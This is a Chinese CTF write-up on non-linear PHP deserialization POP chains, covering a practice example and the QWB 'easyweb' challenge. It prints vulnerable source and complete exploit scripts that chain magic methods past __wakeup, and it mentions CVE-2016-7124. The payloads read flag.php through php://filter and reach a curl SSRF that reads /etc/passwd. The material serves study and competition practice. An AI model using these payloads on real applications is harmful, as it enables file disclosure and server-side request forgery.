聊聊非线性pop链
前两天打强网杯,发现里面一道题还挺有意思,是一道session.upload_progress
上传文件,然后构造pop链触发phar反序列化,最后用ssrf发请求的一道题,其它过程感觉都很平常,但这个pop链还挺有意思的,上网一搜索发现在NSSCTF Round#3
中出过类似的链子,那么接下来就来聊聊这种非线性的pop链
测试代码
我们之前学的PHP的pop链,都是一条链子从头拉到尾,从反序列化的地方到最终获取flag的地方,用一条链子连起来,思路很清晰,但在很多情况下这种链子有它的局限性,比如说出现__wakeup()
了,看看下面这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php highlight_file(__FILE__); error_reporting(0); class Test { public $file; public $date; public $tmp; function __get($value){ $this->file->$value = $this->date; echo $this->tmp; } } class Flag{ public $flagpath; public $str; public function __toString() { $content = $this->str->flagpath; $this->getflag(); return $content; } public function getflag(){ include($this->flagpath); } public function __wakeup() { $this->flagpath = 'index.php'; } function __destruct(){ echo $this; } } $a = unserialize($_GET[1]);
|
其实这个感觉也不能算非线性链子,还是一条链子拉下来的,只不过里面的思路我们可以参考,这题之所以看起来不太一样就是因为有__wakeup()
的存在,导致我们不能像以前一样很轻松的控制$this->flagpath
的值;很多小伙伴可能会说,不是说可以用CVE-2016-7124
来绕过吗,修改属性数不等于实际的属性数即可,只不过这种方法是有版本限制的哈,影响版本为php5.0.0 ~ php5.6.25
以及php7.0.0 ~ php7.0.10
,在这个版本内肯定可行,高版本的PHP不一定就不行,但是绝大多数都不行,这种比较碰运气,偶然性很强,得看具体版本,后面看别的师傅的wp才发现强网杯遇到的那个题就可以直接通过改属性个数来绕过,当初还卡了我半天,很气
接着看回这个题,既然我们没办法直接给$this->flagpath
赋值,那我们就想想有没有啥间接的方法,因为众所周知__wakeup()
是在反序列化后一开始就触发的,而__destruct()
是在对象被销毁时才触发,所以说只要我们想办法在__wakeup()
后再给$this->flagpath
赋值就行了;看向上面的Test
类,里面有个__get($value)
,正好就有赋值操作,并且$this->date
我们可控, $this->file
我们也可控,可以把它赋值成一个Flag
对象,那么也就是说只要$value
是我们想要的flagpath
即可,$value
是作为__get()
的参数传入的;当调用类中不存在的属性时,就会调用__get()
,而调用时的属性名,就会作为参数传入,看个例子一看便懂
1 2 3 4 5 6 7 8 9 10
| <?php highlight_file(__FILE__); error_reporting(0); class Test { function __get($value){ var_dump($value) } $a = new Test(); $a -> flag; }
|
[
](https://img
所以说只要我们能找到地方调用flagpath
就行,正好在Flag
类中的__toString()
方法里就有,我们让$this->str
赋值为一个Test
对象即可,整条链子就通了,完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Test{ public $file; public $date; public $tmp; } class Flag{ public $flagpath; public $str; } $a = new Flag(); $a1 = new Flag(); $b = new Test(); $a -> str =$b; $b -> date = 'php://filter/read=convert.base64-encode/resource=flag.php'; $b -> file = $a1; $b -> tmp = $a1;
echo serialize($a); ?>
|
前面基本上都讲完了,再简单分析下吧,链子的开头是在__destruct
中,然后以字符串的形式输出对象进而触发__toString()
,在这里本来就可以直接调getflag()
了,可惜$this->flagpath
我们没控制住,所以说得把$this->str
赋值为一个Test
对象,调用到Test
对象的__get()
方法中,在这里实现赋值,再调进__toString()
和getflag()
即可


有了这个基础,理解强网杯那道题的非线性链就没有任何障碍啦
第6届强网杯 easyweb pop链解析
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| <?php error_reporting(0); highlight_file(__FILE__); $a = unserialize($_GET[1]); class Upload { public $file; public $filesize; public $date; public $tmp; function __get($value){ echo "1.get"; echo "</br>"; $this->filesize->$value = $this->date; echo $this->tmp; } } class GuestShow{ public $file; public $contents; function __toString(){ echo "2.tostring"; echo "</br>"; $str = $this->file->name; return ""; } function __destruct(){ echo "start"; echo "<br>"; echo $this; } } class AdminShow{ public $source; public $str; public $filter; public function __toString() { echo "3.tostring"; echo "</br>"; $content = $this->str[0]->source; $content = $this->str[1]->schema; return $content; } public function __get($value){ echo "3.get"; echo "</br>"; $this->show(); return $this->$value; } public function show(){ echo "3.show"; echo "</br>"; if(preg_match('/usr|auto|log/i' , $this->source)) { die("error"); } $url = $this->schema . $this->source; var_dump($url); echo "</br>"; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 1); $response = curl_exec($curl); curl_close($curl); $src = $response; echo $src;
} public function __wakeup() { if ($this->schema !== 'file:///var/www/html/') { $this->schema = 'file:///var/www/html/'; echo 'wakeup1'; var_dump($this->schema); echo "</br>"; } if ($this->source !== 'admin.png') { $this->source = 'admin.png'; echo 'wakeup2'; var_dump($this->source); echo "</br>"; } } }
|
差不多就这样,肯定是被我修改过的,加上了很多调试的过程,而且原题是用phar
触发,这里我把它改了,直接加上了unserialize()
,并且去掉了很多跟构造pop链没关系的代码
那么简化过后,这题就和我们上面讲的很像嘛,同样是在__wakeup()
里面就赋了值,我们无法可控,得通过Upload
类中__get($value)
进行赋值,还是先给出exp吧,下面再进行详细分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class Upload { public $file; public $filesize; public $date; public $tmp; } class GuestShow{ public $file; public $contents; } class AdminShow{ public $source; public $str; public $filter; } $a = new GuestShow(); $a1 = new GuestShow();
$b = new Upload(); $b1 = new Upload(); $b2 = new Upload();
$c = new AdminShow(); $c1 = new AdminShow();
$a -> file = $b; $b -> tmp = $c; $c -> str[0] = $b1; $c -> str[1] = $b2;
$b1 -> date = "file:///etc/passwd"; $b2 -> date = "";
$b1 -> filesize = $c1; $b2 -> filesize = $c1;
$b2 -> tmp = $a1; $a1 -> file = $c1;
echo serialize($a);
|
先看链子尾吧,链子尾是我们要进行ssrf的地方,那我们要控制的就是$this->schema
和$this->source
,找可以给它们赋值的地方,成功发现Upload
类中的__get($value)
可以赋值,再找能控制$value
的地方,在AdminShow
的__toString()
方法中正好就有schema
和source
,那么其实这个思路就比较清楚了,接下来就是找其它的魔术方法,把整条pop链连上就行
链子头是在GuestShow
中的__destruct()
中,在里面echo $this
调用GuestShow
的__toString()
,然后由于这三个类中都没有name
属性,所以说可以调任意一个__get()
方法,这里选择往上调,调Upload
类中的,然后由于里面有个echo $this->tmp
,我们把$this->tmp
赋值为一个AdminShow
对象,就能进入到AdminShow
类中的__toString()
方法了,进去之后新建两个Upload
对象,利用它们的__get(value)
方法,分别给一个新AdminShow
对象中的source
和schema
赋值,赋值后再利用echo $this->tmp
调入进GuestShow
中的__toString()
方法中,再调入到AdminShow
的__get()
,最终进入到show()
方法中实现ssrf,其实也是一条挺清晰的链子,只不过加上了两次给新对象赋值罢了

给篇参考文章吧,里面讲了NSSCTF Round#3
的那道题,大家可以参考着加深理解
参考文章:https://www.cnblogs.com/Article-kelp/p/16271464.html